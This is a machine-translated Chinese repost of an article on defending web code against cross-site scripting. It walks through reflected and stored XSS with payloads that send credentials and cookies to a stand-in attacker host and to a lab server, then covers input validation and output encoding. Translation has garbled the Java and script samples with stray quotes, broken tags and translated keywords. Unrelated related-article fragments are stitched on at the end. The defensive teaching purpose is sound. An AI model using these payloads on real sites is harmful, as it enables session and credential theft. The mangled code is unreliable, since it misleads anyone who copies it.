【安全编码实践】保护自己免受跨站点脚本攻击

声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

文章来源:https://medium.com/bugbountywriteup/how-to-write-secure-code-b2757b59cd4b

如何编写安全代码?保护自己免受跨站点脚本攻击!

过去几个月我一直致力于安全代码实践,我一直在努力与社区讨论易于采用的方法。我们每天看到的不安全代码的数量确实令人震惊,我们都同意“预防胜于治疗”。

保持我们的代码和应用程??序安全的最佳方法是从一开始就正确编程。编写安全代码并不困难或复杂,只需要程序员知道在哪里包含安全检查。这是几行额外代码的问题,但仅此一项就可以抵御针对您的应用程序的大量攻击。

我们来挖掘吧!

因此,这篇特别的文章“如何编写安全代码?”专注于跨站点脚本问题。

只要应用程序获取不受信任的数据并将其发送到Web浏览器而没有正确的验证和转义,就会发生跨站点脚本漏洞。XSS允许攻击者在受害者的浏览器中执行脚本,这些脚本可能会劫持用户会话,破坏网站或将用户重定向到恶意网站。

下面的代码是发生XSS攻击的示例之一,所采用的输入未经过清理,并且直接传递给参数。

String firstNameParameter =(String)request.getParameter(“firstName”);

用户输入的值立即存储在局部变量fi??rstNameParameter中,然后在HTTP响应中将值发送到浏览器,而不进行任何输出编码。

在本文中,我将介绍几种不同类型的攻击和方法,即您每天面临的攻击和方法以及可用于防止它们的方法: -

1.反射XSS

它一次针对一名受害者进行追踪。当恶意负载传递给受害者并且他们最终点击恶意URL并让黑客访问他们的cookie和其他数据时,可以看到它在行动中。

这里是有效载荷的示例,如果受害者执行该攻击,则攻击者可以访问其详细信息。

https://mybank.com/submitForm.do?customer=
<script>
function + stealCredentials()
 {
location.href =“ www.evilhackersite.com?name = document.myform.username.value
&password = document.myform.pword .value“
}
</ script>
//整个脚本将作为url传递。
//它已被提出以增强可读性。

另一个例子是我们访问一个密码生成器的网页。乍一看,页面看起来不容易受到任何攻击,因为我们所要做的就是按“生成密码”按钮。

我们打开我们的burp-suite并在我们的代理选项卡中拦截请求。我们将其发送到转发器选项卡以检查请求查询和相应的响应查询。下面的图像是我们传递的第一个请求,我们可以观察到我们在请求查询中传递的用户名会反映在响应查询中。

现在我们知道,用户名反映给我们,我们可以使用我们的有效负载注入值字段。现在唯一需要的是我们如何设计有效负载,以便我们可以按预期执行命令。

“; catch(e){} alert(‘inject‘); try(a =”//我们的有效载荷

上图显示了请求和附加有效负载的响应查询,似乎已经成功。我们对整个有效负载进行url编码,然后通过代理选项卡再次发送,并检查我们在浏览器中收到的结果。

在代理选项卡中传递有效内容

正如预期的那样,我们会收到一个警告框,该框显示在浏览器中,表明攻击有效负载已经起作用。

2.存储XSS

当代码被注入正在托管的服务器端程序时,就会发生此攻击。因此,每当用户导航到特定网页或链接时,他们就是存储的XSS攻击的受害者。

存储的XSS攻击可以按如下方式执行,如果页面上的图像以这样的方式注入:每当页面加载恶意脚本(如下所示)时加载而不是图片,然后抓取用户的cookie。

<script> newImage()。src =“ http://myevilhackersite.com/login.cgi?c= "+encodeURI(document.cookie ) ; </ script>
//我们的有效载荷

存储的XSS的另一个例子如下: -

在我们旁边的登录页面中,输入test作为用户名和密码。我们所做的每件事都记录在日志数据库中。我们可以继续检查日志数据库,在那里我们可以看到注册了测试用户名的失败登录尝试。因此,如果用户名没有被清理并直接保存在日志中,那么我们可以利用它来发起存储的XSS攻击。

我们在用户名字段中传递以下有效负载,以查看我们是否能够执行XSS攻击。

<script> document.location =“ http://192.168.56.103/mutillidae/index.php?page=capture-data.php&c=”+ document.cookie </ script>

只要我们在用户名框中传递我们的有效负载并打开日志文件,我们就可以清楚地看到cookie存储在那里,正如我们所希望的那样。

因此,现在每当有人打开日志文件时,他们的cookie值将被发送到capture-data.php页面,然后存储数据。

保卫你的代码!

我们已经详细讨论了如何利用我们的代码在网站上执行恶意XSS攻击。我们可以采取的步骤如下: -

输入验证

  • 验证应仅在服务器端执行,绝不应在客户端完成。
  • 我们可以允许用户使用的白名单和黑名单。我们可以利用常规的正则表达式或基于框架的反XSS函数来增强安全性。
  • 代码示例

而不是直接使用和接收参数“firstName”。

String firstNameParameter =(String)request.getParameter(“firstName”);
  • 在分配给变量firstNameParameter之前,首先将其传递给正则表达式
private final String MY_DATAVALIDATION_WHITELIST =“[a-zA-Z] *”;
public boolean mustPassWhiteListCheck(String clientSideParameter)抛出
WhiteListFailureException
{
boolean checkValue = false;
checkValue = Pattern.matches(MY_DATAVALIDATION_WHITELIST,clientSideParameter);
if(checkValue == false)
{
   throw new WhiteListFailureException(“Possible Attack !!!”);
}
return checkValue;
}

输出编码

  • 中和HTTP响应中包含的任何误解释的字符
  • 将字符转换为数据而不是执行恶意脚本
  • URL编码 - 用一个或多个字符三元组替换字符串中的字符
  • 三元组:%后跟两个其他十六进制数字,例如:%2e这是“。”
  • 输出编码代码示例

下面的代码是没有执行编码的代码。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ request.getParameter(“firstName”)+“</ BODY> </ HTML>”);

现在我们将对上面的代码进行小的修改,在输入被我们的正则表达式杀菌剂消毒之后,我们将把值传递给print语句。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ Encoder()。encodeForHTML(sanitisedFirstNameVariable)+“</ BODY> </ HTML>”);
  • 输出编码网页上下文

至少我们需要为这些值执行URL编码: -

a)HTML正文

b)HTML属性

c)URL

d)JavaScript

e)级联样式表

道德

XSS是一种危险的攻击,可以自动搜索XSS。存储和反射的XSS可能会对应用程序造成严重损害。防止这些攻击的最基本方法之一是执行适当的输入验证和输出编码。正确实现这两个功能可以帮助我们将XSS攻击减少到NIL。

原文地址:https://www.cnblogs.com/xiaozi/p/10676390.html

时间: 2024-10-10 18:00:24

【安全编码实践】保护自己免受跨站点脚本攻击的相关文章

RailsCase27 Cross Site Scripting 跨站点脚本攻击

跨站点脚本是开发过程中经常需要考虑的安全问题.此种情形发生在允许用户直接输入html.javascript脚本时.在下述的website中,我们并没有过滤输入的内容,导致一些安全漏洞. 如果在输入框中输入由<script>包围的内容,当页面被加载的时候,脚本将被执行,每次均将在前端展示.例如,如果输入<script>alert('hello')</script>并保存,每次浏览此页面时,都将看到alert的窗口. 嵌入页面的javascript脚本如下: termina

跨站点脚本攻击(XSS)

XSS分类: (1)反射型XSS:只是简单地把用户输入的数据反射给浏览器.往往需要诱使用户"点击"一个恶意链接.也叫"非持久型XSS" (2)存储型XSS:把用户输入的数据"存储"在服务器端.也叫"持久型XSS" (3)DOM Based XSS:从效果上来说也是反射型XSS,通过修改页面的DOM结点形成的XSS. 1.cookie劫持:httponly或者将cookie和客户端IP绑定可防止 2.XSSPayload: (1

跨站点脚本攻击

介绍 XSS是跨站脚本攻击(Cross Site Scripting)的缩写.XSS是因为有些恶意攻击者往Web页面中插入恶意Script代码,当用户浏览该页面时,嵌入的Script代码将会被执行,从而达到恶意攻击用户的特殊目的. 条件 攻击者需要向web页面注入恶意代码: 这些恶意代码能够被浏览器成功的执行. 类型 XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的,攻击是一次性的. XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这

XSS跨站点脚本的介绍和代码防御

0x01 介绍 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务在以下情况下会发生跨站点脚本编制 (XSS) 脆弱性: [1] 不可信数据进入 Web 应用程序,通常来自 Web 请求. [2] Web 应用程序动态生成了包含此不可信数据的 Web 页面. [3] 页面生成期间,应用程序不会禁止数据包含可由 Web 浏览器执行的内容,例如 JavaScript.HTML 标记.HTML 属性.鼠标事件.Flash 和 A

跨站点脚本编制-XSS 描述及解决方法

跨站点脚本编制可能是一个危险的安全性问题,在设计安全的基于 Web 的应用程序时应该考虑这一点.本文中,描述了这种问题的本质.它是如何起作用的,并概述了一些推荐的修正策略. 当今的大多数网站都对 Web 页面添加了动态内容,从而使用户能获得更愉快的体验.动态内容是由某些服务器进程生成的内容,它可以根据用户的设置和需要在提交时表现出不同的行为和产生不同的显示.动态网站存在着一个称为“跨站点脚本编制”(也称为“XSS”)的威胁,而这是静态网站所没有的. “一个网页可以包含由服务器生成的.并且由客户机

解决“Internet Explorer已对此页面进行了修改,已帮助阻止跨站点脚本。”的“问题”

最近一直对网络安全知识比较感兴趣,目前在看的书是网上推荐的<Web应用安全权威指南>.这本书提供下载一个虚拟机镜像,运行这个虚拟机可以在电脑浏览器上做书中的实验. 第66页涉及到一个XSS的实验,正常的效果是执行JavaScript,弹出一个对话框.我在照做的时候IE提示"Internet Explorer已对此页面进行了修改,已帮助阻止跨站点脚本."(如图1). 我先将地址加入可信站点,没有作用.这时想到以前给公司设置OA系统时,不但需要加可信站点,还需要更改"

web安全测试---跨站点脚本测试

1.1      跨站脚本测试 1.1.1        GET方式跨站脚本测试 编号 SEC_Web_XSS_01 测试用例名称 GET方式跨站脚本测试 测试目的 由于跨站脚本会导致会话被劫持.敏感信息泄漏.账户被盗,严重时甚至造成数据修改.删除,从而导致业务中断,因此需检测跨站脚本是否存在 用例级别 1 测试条件 1.  Web业务运行正常 2.  已知待测目标URL,假设为http://www.exmaple.com/page.xxx 3.  待测目标存在参数输入,假设为name=valu

跨站点脚本编制实例(AppScan扫描结果)

最近工作要求解决下web的项目的漏洞问题,扫描漏洞是用的AppScan工具,其中有很多是关于跨站点脚本编制问题的.下面就把这块东西分享出来. 原创文章,转载请注明 -----------------------------------------正题------------------------- 测试类型:应用程序级别测试 威胁分类:跨站点脚本编制 原因:未对用户输入正确执行危险字符清理 安全性风险:可能会窃取或操纵客户会话和cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份

Cross Frame Script (跨框架脚本) 攻击

一.Cross Frame Script (跨框架脚本) 攻击 什么是Cross Frame Script? 很简单,做个实验就知道了.把下面的这段HTML代码另存为一个html文件,然后用ie浏览器打开. <html> <head> <title>IE Cross Frame Scripting Restriction Bypass Example</title> <script> var keylog=''; document.onkeypr